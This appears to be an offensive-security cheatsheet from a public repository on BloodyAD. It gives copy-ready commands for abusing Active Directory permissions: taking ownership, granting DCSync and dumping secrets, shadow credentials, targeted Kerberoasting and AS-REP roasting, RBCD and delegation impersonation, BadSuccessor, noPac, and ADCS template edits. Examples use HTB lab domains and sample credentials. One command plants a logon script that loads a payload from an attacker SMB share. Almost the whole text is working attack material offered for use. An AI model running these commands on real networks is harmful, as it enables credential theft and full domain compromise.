daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

bloodyad.md (30889B)


      1 ---
      2 title: "BloodyAD"
      3 description: "BloodyAD LDAP privilege-abuse toolkit: RBCD, shadow creds, DACL edits, password/attribute writes."
      4 category: active-directory
      5 subcategory: "Tooling & Recon"
      6 tags: [active-directory, ldap, acl-abuse]
      7 tools: [BloodyAD]
      8 difficulty: intermediate
      9 updated: "2026-08-09"
     10 source: "vault:ActiveDirectory/BloodyAD.md"
     11 ---
     12 
     13 # BloodyAD
     14 
     15 **BloodyAD** talks **LDAP / LDAPS / SAMR** straight to a DC and turns the ACL edges BloodHound shows you into real actions. This sheet is organised so that when BloodHound-CE shows an edge (GenericAll, GenericWrite, WriteOwner…), you jump to that edge in the ACL Edge Playbook and copy the single command you need.
     16 
     17 > **Example lab (swap these five constants) —** `--host 10.10.11.51` (DC) · `-d sequel.htb` (domain) · `-u ryan` (you) · `-p 'Passw0rd!'` (your secret) · targets like `victim`, `ca_svc`, `DC01$`. Every command is written in full.
     18 
     19 ## 1. Install
     20 
     21 ```bash
     22 uv tool install bloodyAD
     23 ```
     24 
     25 ```bash
     26 pipx install bloodyAD
     27 ```
     28 
     29 ```bash
     30 git clone https://github.com/CravateRouge/bloodyAD.git && cd bloodyAD && uv pip install .
     31 ```
     32 
     33 ```bash
     34 sudo apt install bloodyad          # Kali / Parrot
     35 ```
     36 
     37 ## 2. Authentication
     38 
     39 The auth block precedes every verb. Pick the line that matches your creds.
     40 
     41 **Cleartext password:**
     42 
     43 ```bash
     44 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get writable
     45 ```
     46 
     47 **Pass-the-Hash (LM blank, leading colon):**
     48 
     49 ```bash
     50 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p ':32ed87bdb5fdc5e9cba88547376818d4' get writable
     51 ```
     52 
     53 **Full LM:NT pair:**
     54 
     55 ```bash
     56 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4' get writable
     57 ```
     58 
     59 **Kerberos with an existing ccache:**
     60 
     61 ```bash
     62 export KRB5CCNAME=/home/kali/ryan.ccache
     63 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -k get writable
     64 ```
     65 
     66 **Kerberos, request the TGT from a password:**
     67 
     68 ```bash
     69 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' -k get writable
     70 ```
     71 
     72 **Kerberos with an AES256 key (`-f aes`):**
     73 
     74 ```bash
     75 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p '5a4f...aeskey...9c1' -f aes -k get writable
     76 ```
     77 
     78 **Schannel / certificate (PKINIT if combined with `-k`):**
     79 
     80 ```bash
     81 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -c 'ryan_key.pem:ryan_cert.pem' get writable
     82 ```
     83 
     84 **LDAPS (TLS):**
     85 
     86 ```bash
     87 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' -s get writable
     88 ```
     89 
     90 **Name won't resolve — pin DC IP and DNS:**
     91 
     92 ```bash
     93 bloodyAD --host dc01.sequel.htb -i 10.10.11.51 --dns 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get writable
     94 ```
     95 
     96 | Flag | Meaning |
     97 | :-- | :-- |
     98 | `-H`, `--host` | DC hostname or IP |
     99 | `-d`, `--domain` | Domain FQDN |
    100 | `-u`, `--username` | Username (no domain) |
    101 | `-p`, `--password` | Password, `LMHASH:NTHASH`, Kerberos AES/RC4 key, or cert password |
    102 | `-k`, `--kerberos` | Kerberos (`kdc=`, `ccache=`, `kirbi=`, `keytab=`, cross-realm `realmc=`/`kdcc=`) |
    103 | `-f`, `--format` | `-p`/key format: `b64`, `hex`, `aes`, `rc4`, `default` |
    104 | `-c`, `--certificate` | Schannel / PKINIT, `key.pem:cert.pem` |
    105 | `-s` / `-ss` | LDAPS / strip encryption (debug) |
    106 | `-i`, `--dc-ip` | DC IP when host name won't resolve |
    107 | `--dns` | DNS server (inter-domain) |
    108 | `--gc` | Global Catalog |
    109 | `--json` | JSON output |
    110 
    111 > **Warning — Kerberos clock skew.** `-k` throwing `KRB_AP_ERR_SKEW`? Wrap with faketime:
    112 > ```bash
    113 > faketime -f '+7h30m' bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -k get writable
    114 > ```
    115 
    116 ## 3. Command Model
    117 
    118 ```text
    119 bloodyAD <auth> <verb> <subcommand> [args]
    120                   │
    121                   ├─ get      read AD (object, children, search, writable, membership, dnsDump, trusts)
    122                   ├─ set      modify (object, owner, password, restore)
    123                   ├─ add      grant/create (genericAll, groupMember, shadowCredentials, dcsync, rbcd, uac, computer, user, dnsRecord, badSuccessor)
    124                   ├─ remove   undo any add (cleanup)
    125                   └─ msldap   low-level ADCS/DACL primitives
    126 ```
    127 
    128 ## 4. Enumeration (get)
    129 
    130 **Everything you can write to (start here):**
    131 
    132 ```bash
    133 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get writable --detail
    134 ```
    135 
    136 **See which ACEs you hold on a target (Owner / WriteDacl / GenericWrite…):**
    137 
    138 ```bash
    139 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object ca_svc --resolve-sd
    140 ```
    141 
    142 **Read a specific attribute:**
    143 
    144 ```bash
    145 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object ryan --attr memberOf
    146 ```
    147 
    148 **List all users / all computers:**
    149 
    150 ```bash
    151 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get children 'DC=sequel,DC=htb' --type user
    152 ```
    153 
    154 ```bash
    155 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get children 'DC=sequel,DC=htb' --type computer
    156 ```
    157 
    158 **Recursive group membership:**
    159 
    160 ```bash
    161 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get membership 'Domain Admins'
    162 ```
    163 
    164 **Find AS-REP-roastable users (DONT_REQ_PREAUTH):**
    165 
    166 ```bash
    167 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get search --filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' --attr sAMAccountName
    168 ```
    169 
    170 **Find Kerberoastable users (has SPN):**
    171 
    172 ```bash
    173 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get search --filter '(&(objectClass=user)(servicePrincipalName=*))' --attr sAMAccountName,servicePrincipalName
    174 ```
    175 
    176 **Machine Account Quota:**
    177 
    178 ```bash
    179 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'DC=sequel,DC=htb' --attr ms-DS-MachineAccountQuota
    180 ```
    181 
    182 **DNS dump / trusts:**
    183 
    184 ```bash
    185 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get dnsDump
    186 ```
    187 
    188 ```bash
    189 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get trusts
    190 ```
    191 
    192 ## 5. ACL Edge Playbook — BloodHound edge → command
    193 
    194 > **Tip — How to use this.** In BloodHound-CE, click the edge (or read the outbound-object-control tab). Find that edge name below and copy the block. **Edge supersets:** `Owns` and `WriteOwner` → become the owner → grant yourself anything. `GenericAll` = `GenericWrite` + `WriteDacl` + `WriteOwner` combined, so every attack under those three also works on a GenericAll edge.
    195 
    196 ### Edge quick index
    197 
    198 | BloodHound edge | Fastest win |
    199 | :-- | :-- |
    200 | Owns / WriteOwner | take ownership → GenericAll |
    201 | WriteDacl | grant self GenericAll (or DCSync on domain) |
    202 | GenericAll | shadow creds (user) / RBCD (computer) / add member (group) |
    203 | GenericWrite | targeted Kerberoast / shadow creds / logon script |
    204 | ForceChangePassword | reset the password |
    205 | AddMember / AddSelf | add to the group |
    206 | AddKeyCredentialLink | shadow credentials |
    207 | AddAllowedToAct | RBCD |
    208 | WriteSPN | targeted Kerberoast |
    209 | DCSync (GetChanges/All) | replicate secrets |
    210 | ReadLAPSPassword / ReadGMSAPassword | read the secret (see Credential Access) |
    211 
    212 ### Owns / WriteOwner
    213 
    214 The right to set the object's owner. The owner can always rewrite the DACL, so this becomes full control in two steps.
    215 
    216 **1. Take ownership:**
    217 
    218 ```bash
    219 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set owner ca_svc ryan
    220 ```
    221 
    222 **2. Grant yourself GenericAll (now do any GenericAll attack below):**
    223 
    224 ```bash
    225 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add genericAll ca_svc ryan
    226 ```
    227 
    228 ### WriteDacl
    229 
    230 The right to edit the DACL. Grant yourself full control, or (on the domain object) DCSync.
    231 
    232 **Grant self full control over the object:**
    233 
    234 ```bash
    235 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add genericAll ca_svc ryan
    236 ```
    237 
    238 **If the edge is on the DOMAIN object → grant DCSync:**
    239 
    240 ```bash
    241 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add dcsync ryan
    242 ```
    243 
    244 ### GenericAll
    245 
    246 Full control. Superset of GenericWrite + WriteDacl + WriteOwner, so any attack under those works too. Pick by target type.
    247 
    248 **On a USER — recover the NT hash via shadow credentials (quiet, reversible):**
    249 
    250 ```bash
    251 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add shadowCredentials victim
    252 ```
    253 
    254 **On a USER — reset the password (loud, breaks their logon):**
    255 
    256 ```bash
    257 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set password victim 'Newpass123!'
    258 ```
    259 
    260 **On a COMPUTER — configure RBCD (see AddAllowedToAct):**
    261 
    262 ```bash
    263 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add rbcd 'DC01$' 'ATTACKER$'
    264 ```
    265 
    266 **On a GROUP — add yourself:**
    267 
    268 ```bash
    269 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add groupMember 'Domain Admins' ryan
    270 ```
    271 
    272 > **Tip — GenericAll → GenericWrite.** Since GenericAll includes GenericWrite, you can also do every GenericWrite attack (targeted Kerberoast, logon script) on this same target.
    273 
    274 ### GenericWrite
    275 
    276 Write to (most) attributes, but not the DACL. You can't reset the password, but you can plant an SPN, a Key Credential, or a logon script.
    277 
    278 #### Targeted Kerberoast
    279 
    280 **How it works.** Kerberos issues a TGS (service ticket) for any account that has a Service Principal Name. That ticket is encrypted with the account's password hash. Normally only service accounts have SPNs. GenericWrite lets you write `servicePrincipalName` on a regular user, so you plant a fake SPN, ask the DC for a ticket, and get a `$krb5tgs$` hash you can crack offline. The three steps are: plant → request → clean up.
    281 
    282 **Step 1 — plant a fake SPN on the target:**
    283 
    284 ```bash
    285 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim servicePrincipalName -v 'HTTP/fake.sequel.htb'
    286 ```
    287 
    288 `set object <target> servicePrincipalName -v '<value>'` writes the SPN attribute. The value itself (`HTTP/fake.sequel.htb`) is arbitrary — it just needs to look like a valid SPN so the DC accepts it. The account is now Kerberoastable.
    289 
    290 **Step 2 — request the TGS (this produces the crackable hash):**
    291 
    292 ```bash
    293 GetUserSPNs.py sequel.htb/ryan:'Passw0rd!' -dc-ip 10.10.11.51 -request-user victim
    294 ```
    295 
    296 The DC hands back a TGS encrypted with `victim`'s password hash. Impacket prints it as a `$krb5tgs$23$` hash ready for hashcat.
    297 
    298 **Step 3 — clear the SPN (cleanup):**
    299 
    300 ```bash
    301 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim servicePrincipalName
    302 ```
    303 
    304 Omitting `-v` clears the attribute. A stray SPN is an IOC and can break the account's authentication, so always clean up.
    305 
    306 **Crack the hash:**
    307 
    308 ```bash
    309 hashcat -m 13100 victim.hash /usr/share/wordlists/rockyou.txt
    310 ```
    311 
    312 > **Tip — `targetedKerberoast` automates all three steps.** The tool sets the SPN, requests the TGS, and removes the SPN in one shot. Use bloodyAD's manual three-step flow when you want granular control or when `targetedKerberoast` is not available.
    313 >
    314 > ```bash
    315 > targetedKerberoast -v -d sequel.htb -u ryan -p 'Passw0rd!' --request-user victim
    316 > ```
    317 
    318 > **Tip — bloodyAD accepts an NT hash instead of a password.** If you have a hash but no plaintext, pass it with a leading colon in place of the password. All three steps work the same way.
    319 >
    320 > ```bash
    321 > # Plant
    322 > bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p ':aad3b435b51404eeaad3b435b51404ee' set object victim servicePrincipalName -v 'HTTP/fake'
    323 >
    324 > # Clean up
    325 > bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p ':aad3b435b51404eeaad3b435b51404ee' set object victim servicePrincipalName
    326 > ```
    327 >
    328 > The format is `:NTHASH` (LM blank, colon, then the 32-character NT hash). See the Authentication section for the full LM:NT form.
    329 
    330 **Manual bloodyAD equivalent for a different target (tombwatcher.htb example):**
    331 
    332 ```bash
    333 # Step 1 — plant the SPN (henry has GenericWrite or WriteSPN over alfred)
    334 bloodyAD --host <DC-IP> -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
    335   set object alfred servicePrincipalName -v 'HTTP/fake.tombwatcher.htb'
    336 
    337 # Step 2 — request the TGS
    338 GetUserSPNs.py tombwatcher.htb/henry:'H3nry_987TGV!' -dc-ip <DC-IP> -request-user alfred
    339 
    340 # Step 3 — remove the SPN
    341 bloodyAD --host <DC-IP> -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' \
    342   set object alfred servicePrincipalName
    343 ```
    344 
    345 ```bash
    346 hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt
    347 ```
    348 
    349 **Shadow credentials (also available via GenericWrite):**
    350 
    351 ```bash
    352 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add shadowCredentials victim
    353 ```
    354 
    355 **Logon-script abuse — payload runs at victim's next interactive logon:**
    356 
    357 ```bash
    358 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim scriptPath -v '\\10.10.14.6\share\run.bat'
    359 ```
    360 
    361 **Logon-script — revert:**
    362 
    363 ```bash
    364 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim scriptPath
    365 ```
    366 
    367 **Targeted AS-REP Roast — step 1, set DONT_REQ_PREAUTH:**
    368 
    369 ```bash
    370 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add uac victim -f DONT_REQ_PREAUTH
    371 ```
    372 
    373 **Targeted AS-REP Roast — step 2, grab the AS-REP:**
    374 
    375 ```bash
    376 GetNPUsers.py sequel.htb/victim -no-pass -dc-ip 10.10.11.51 -format hashcat -outputfile asrep.hash
    377 ```
    378 
    379 **Targeted AS-REP Roast — step 3, unset the flag (cleanup):**
    380 
    381 ```bash
    382 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' remove uac victim -f DONT_REQ_PREAUTH
    383 ```
    384 
    385 > **Warning — GenericWrite ≠ password reset.** GenericWrite does **not** include `User-Force-Change-Password`, so you cannot reset the target's password with it. Use shadow credentials or Kerberoast instead. `scriptPath` (logon script) only fires on an **interactive** logon, so it is useless against a service account that never logs on to a desktop.
    386 
    387 #### Worked example — GenericWrite on winrm_svc → evil-winrm (HTB Fluffy)
    388 
    389 You are in `Service Accounts`, which has GenericWrite over `winrm_svc`. On Fluffy the box has ADCS, so shadow credentials is the clean route to a shell.
    390 
    391 **1. Shadow-cred winrm_svc for its NT hash (faketime for the clock skew, DC FQDN for PKINIT):**
    392 
    393 ```bash
    394 faketime -f '+7h' bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials winrm_svc
    395 ```
    396 
    397 Output:
    398 
    399 ```text
    400 [+] NT hash via PKINIT: 33bd09dcd697600edf6b3a7af4875767
    401 ```
    402 
    403 **2. Log in — winrm_svc is in Remote Management Users, so pass-the-hash over WinRM:**
    404 
    405 ```bash
    406 evil-winrm -i dc01.fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
    407 ```
    408 
    409 **Fallback if ADCS were absent — targeted Kerberoast winrm_svc:**
    410 
    411 ```bash
    412 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' set object winrm_svc servicePrincipalName -v 'HTTP/fake.fluffy.htb'
    413 ```
    414 
    415 ```bash
    416 GetUserSPNs.py fluffy.htb/p.agila:'prometheusx-303' -dc-ip <DC-IP> -request-user winrm_svc
    417 ```
    418 
    419 ```bash
    420 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' set object winrm_svc servicePrincipalName
    421 ```
    422 
    423 Then crack the `$krb5tgs$` with `hashcat -m 13100`. Prefer shadow creds on Fluffy since the service password may not crack.
    424 
    425 ### ForceChangePassword
    426 
    427 The `User-Force-Change-Password` extended right — reset the password without knowing the old one. Same command as a full reset.
    428 
    429 ```bash
    430 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set password victim 'Newpass123!'
    431 ```
    432 
    433 ### AddMember / AddSelf
    434 
    435 Write the group's `member` attribute (AddSelf = you may only add yourself).
    436 
    437 **Add to the group:**
    438 
    439 ```bash
    440 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add groupMember 'Domain Admins' ryan
    441 ```
    442 
    443 **Remove (cleanup):**
    444 
    445 ```bash
    446 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' remove groupMember 'Domain Admins' ryan
    447 ```
    448 
    449 ### AddKeyCredentialLink
    450 
    451 Write `msDS-KeyCredentialLink` → Shadow Credentials → PKINIT → NT hash. Needs PKINIT in the forest (a CA present).
    452 
    453 > **Tip — bloodyAD does the WHOLE attack (no Certipy needed).** `add shadowCredentials` adds the Key Credential, performs PKINIT **and** prints the target's NT hash in one command. It also drops a TGT ccache (or a `.pfx` if PKINIT fails) via `--path`. This fully replaces `certipy shadow auto`.
    454 
    455 **One command — add key, PKINIT, and print the NT hash:**
    456 
    457 ```bash
    458 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' add shadowCredentials victim
    459 ```
    460 
    461 Output:
    462 
    463 ```text
    464 [+] KeyCredential generated with DeviceID ... added to victim
    465 [+] NT hash via PKINIT: a9285c625af80519ad784729655ff325
    466 ```
    467 
    468 **Save the recovered TGT/pfx to a chosen path:**
    469 
    470 ```bash
    471 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' add shadowCredentials victim --path /tmp/victim
    472 ```
    473 
    474 **Cleanup — remove the Key Credential afterwards:**
    475 
    476 ```bash
    477 bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p 'Passw0rd!' remove shadowCredentials victim
    478 ```
    479 
    480 **Certipy equivalent (only if you prefer it):**
    481 
    482 ```bash
    483 certipy-ad shadow auto -u ryan@sequel.htb -p 'Passw0rd!' -account victim -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb
    484 ```
    485 
    486 > **Warning — Use the DC FQDN + watch the clock.** PKINIT is Kerberos: pass `--host dc01.sequel.htb` (name, not IP) and, if the DC clock is skewed, prefix `faketime -f '+Xh'`. This is exactly the gotcha on boxes like Fluffy.
    487 
    488 #### Worked chain — GenericAll on a group → add self → shadow-cred the members (HTB Fluffy)
    489 
    490 You hold **GenericAll over a group** (e.g. `Service Accounts`). Add yourself, which grants you `GenericWrite` over every member, then shadow-cred each service account — all in bloodyAD.
    491 
    492 **1. Add yourself to the group (GenericAll → AddMember):**
    493 
    494 ```bash
    495 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add groupMember 'Service Accounts' p.agila
    496 ```
    497 
    498 **2. Shadow-cred the first member (inherited GenericWrite → NT hash):**
    499 
    500 ```bash
    501 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials winrm_svc
    502 ```
    503 
    504 **3. Shadow-cred the second member (you'll want ca_svc for the ESC16 step):**
    505 
    506 ```bash
    507 bloodyAD --host dc01.fluffy.htb -d fluffy.htb -u p.agila -p 'prometheusx-303' add shadowCredentials ca_svc
    508 ```
    509 
    510 > **Note — Why this works.** Group membership is evaluated at authentication. bloodyAD re-authenticates with the password on every call, so step 2/3 already carry the new `Service Accounts` membership (and its GenericWrite over the service users) without any re-login. On Fluffy, wrap each command in `faketime` because of the clock skew.
    511 
    512 ### AddAllowedToAct (RBCD)
    513 
    514 Write `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target → impersonate anyone to a service on it.
    515 
    516 **1. Create a computer you control (needs MAQ > 0):**
    517 
    518 ```bash
    519 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add computer ATTACKER '$Passw0rd123'
    520 ```
    521 
    522 **2. Set the RBCD trust on the target:**
    523 
    524 ```bash
    525 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add rbcd 'DC01$' 'ATTACKER$'
    526 ```
    527 
    528 **3. Request an impersonation ticket:**
    529 
    530 ```bash
    531 getST.py -spn cifs/dc01.sequel.htb -impersonate Administrator sequel.htb/ATTACKER$:'$Passw0rd123' -dc-ip 10.10.11.51
    532 ```
    533 
    534 **4. Cleanup:**
    535 
    536 ```bash
    537 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' remove rbcd 'DC01$' 'ATTACKER$'
    538 ```
    539 
    540 ### WriteSPN
    541 
    542 Write `servicePrincipalName` directly — a narrower right than GenericWrite, but the attack is identical. Follow the same three steps as under GenericWrite above.
    543 
    544 ```bash
    545 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object victim servicePrincipalName -v 'HTTP/fake.sequel.htb'
    546 ```
    547 
    548 ```bash
    549 GetUserSPNs.py sequel.htb/ryan:'Passw0rd!' -dc-ip 10.10.11.51 -request-user victim
    550 ```
    551 
    552 ### DCSync (GetChanges / GetChangesAll)
    553 
    554 Replication rights on the domain — dump any secret.
    555 
    556 **Grant yourself DCSync (if you have WriteDacl on the domain):**
    557 
    558 ```bash
    559 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add dcsync ryan
    560 ```
    561 
    562 **Replicate secrets:**
    563 
    564 ```bash
    565 secretsdump.py sequel.htb/ryan:'Passw0rd!'@10.10.11.51
    566 ```
    567 
    568 **Cleanup:**
    569 
    570 ```bash
    571 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' remove dcsync ryan
    572 ```
    573 
    574 ## 6. Delegation Attacks
    575 
    576 ### Unconstrained Delegation
    577 
    578 **Set the flag (then coerce a DC and capture its TGT):**
    579 
    580 ```bash
    581 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add uac 'WEB01$' -f TRUSTED_FOR_DELEGATION
    582 ```
    583 
    584 ### Constrained Delegation (S4U)
    585 
    586 **1. Flag the account for protocol transition:**
    587 
    588 ```bash
    589 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add uac svc_web -f TRUSTED_TO_AUTH_FOR_DELEGATION
    590 ```
    591 
    592 **2. Set the allowed target SPN:**
    593 
    594 ```bash
    595 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object svc_web msDS-AllowedToDelegateTo -v 'CIFS/dc01.sequel.htb'
    596 ```
    597 
    598 **3. Impersonate to the target:**
    599 
    600 ```bash
    601 getST.py -spn cifs/dc01.sequel.htb -impersonate Administrator sequel.htb/svc_web:'SvcPass1!' -dc-ip 10.10.11.51
    602 ```
    603 
    604 ### Resource-Based Constrained Delegation
    605 
    606 See AddAllowedToAct (RBCD) above for the full four-step RBCD flow.
    607 
    608 ## 7. Credential Access — LAPS & GMSA
    609 
    610 **Legacy LAPS (plaintext):**
    611 
    612 ```bash
    613 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'WKSTN01$' --attr ms-Mcs-AdmPwd
    614 ```
    615 
    616 **Windows LAPS, unencrypted (JSON in `msLAPS-Password`):**
    617 
    618 ```bash
    619 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'WKSTN01$' --attr msLAPS-Password
    620 ```
    621 
    622 **Windows LAPS, encrypted — read the raw blob:**
    623 
    624 ```bash
    625 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'WKSTN01$' --attr msLAPS-EncryptedPassword
    626 ```
    627 
    628 **Windows LAPS, encrypted — decrypt with NetExec (needs the GKDI group rights):**
    629 
    630 ```bash
    631 nxc ldap 10.10.11.51 -u ryan -p 'Passw0rd!' --laps
    632 ```
    633 
    634 > **Warning — Read ≠ decrypt.** With encrypted Windows LAPS, reading `msLAPS-EncryptedPassword` and decrypting it are separate rights. You must be in the authorised decryption group.
    635 
    636 **GMSA managed password — read the blob:**
    637 
    638 ```bash
    639 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get object 'svc_gmsa$' --attr msDS-ManagedPassword
    640 ```
    641 
    642 **GMSA — derive the NT hash directly:**
    643 
    644 ```bash
    645 nxc ldap 10.10.11.51 -u ryan -p 'Passw0rd!' --gmsa
    646 ```
    647 
    648 ## 8. BadSuccessor (dMSA)
    649 
    650 > **Warning — Windows Server 2025 dMSA abuse.** `add badSuccessor` creates a Delegated Managed Service Account linked (`msDS-ManagedAccountPrecededByLink`) to inherit a target's privileges. Any principal that can create a child object in an OU can abuse it on vulnerable Server 2025 domains. Check DC OS/patch level.
    651 
    652 **Create a dMSA that inherits Administrator:**
    653 
    654 ```bash
    655 bloodyAD --host 10.10.11.51 -d sequel.htb -u lowpriv -p 'Passw0rd!' add badSuccessor evilmsa -t 'CN=Administrator,CN=Users,DC=sequel,DC=htb'
    656 ```
    657 
    658 **Pin the OU it is created under:**
    659 
    660 ```bash
    661 bloodyAD --host 10.10.11.51 -d sequel.htb -u lowpriv -p 'Passw0rd!' add badSuccessor evilmsa -t 'CN=Administrator,CN=Users,DC=sequel,DC=htb' --ou 'OU=Workstations,DC=sequel,DC=htb'
    662 ```
    663 
    664 ## 9. sAMAccountName Spoofing (noPac)
    665 
    666 > **Note — CVE-2021-42278 + CVE-2021-42287.** Create a computer, rename its `sAMAccountName` to a DC's (no `$`), request tickets, rename back — the KDC issues a TGT as the DC.
    667 
    668 **1. Create a machine account:**
    669 
    670 ```bash
    671 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add computer noPacPc 'Passw0rd123!'
    672 ```
    673 
    674 **2. Clear its SPNs:**
    675 
    676 ```bash
    677 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object 'noPacPc$' servicePrincipalName
    678 ```
    679 
    680 **3. Rename to the DC's sAMAccountName:**
    681 
    682 ```bash
    683 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object 'noPacPc$' sAMAccountName -v 'DC01'
    684 ```
    685 
    686 **4. Request a TGT as DC01:**
    687 
    688 ```bash
    689 getTGT.py sequel.htb/DC01:'Passw0rd123!' -dc-ip 10.10.11.51
    690 ```
    691 
    692 **5. Rename back (avoid collision):**
    693 
    694 ```bash
    695 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object 'noPacPc$' sAMAccountName -v 'noPacPc'
    696 ```
    697 
    698 > **Note — Or automate it.** `netexec smb 10.10.11.51 -u ryan -p 'Passw0rd!' -M nopac` runs the whole loop; bloodyAD is the granular fallback.
    699 
    700 ## 10. AD Recycle Bin — Restore Deleted Objects
    701 
    702 **Find deleted user objects:**
    703 
    704 ```bash
    705 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' get search --base 'DC=sequel,DC=htb' --filter '(&(isDeleted=TRUE)(objectClass=user))' --attr sAMAccountName,lastKnownParent
    706 ```
    707 
    708 **Restore (reanimate) one:**
    709 
    710 ```bash
    711 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set restore old_admin
    712 ```
    713 
    714 ## 11. ADCS Setup via bloodyAD (ESC1/ESC4/ESC14)
    715 
    716 bloodyAD writes the attributes that *create* the ADCS condition; Certipy exploits it.
    717 
    718 **ESC4 → ESC1 — grant enrollment on the template:**
    719 
    720 ```bash
    721 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap addenrollmentright 'VulnTemplate' 'CN=ryan,CN=Users,DC=sequel,DC=htb'
    722 ```
    723 
    724 **ESC4 → ESC1 — flip the SAN flag:**
    725 
    726 ```bash
    727 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap addcerttemplatenameflagaltname 'VulnTemplate' --flags ENROLLEE_SUPPLIES_SUBJECT
    728 ```
    729 
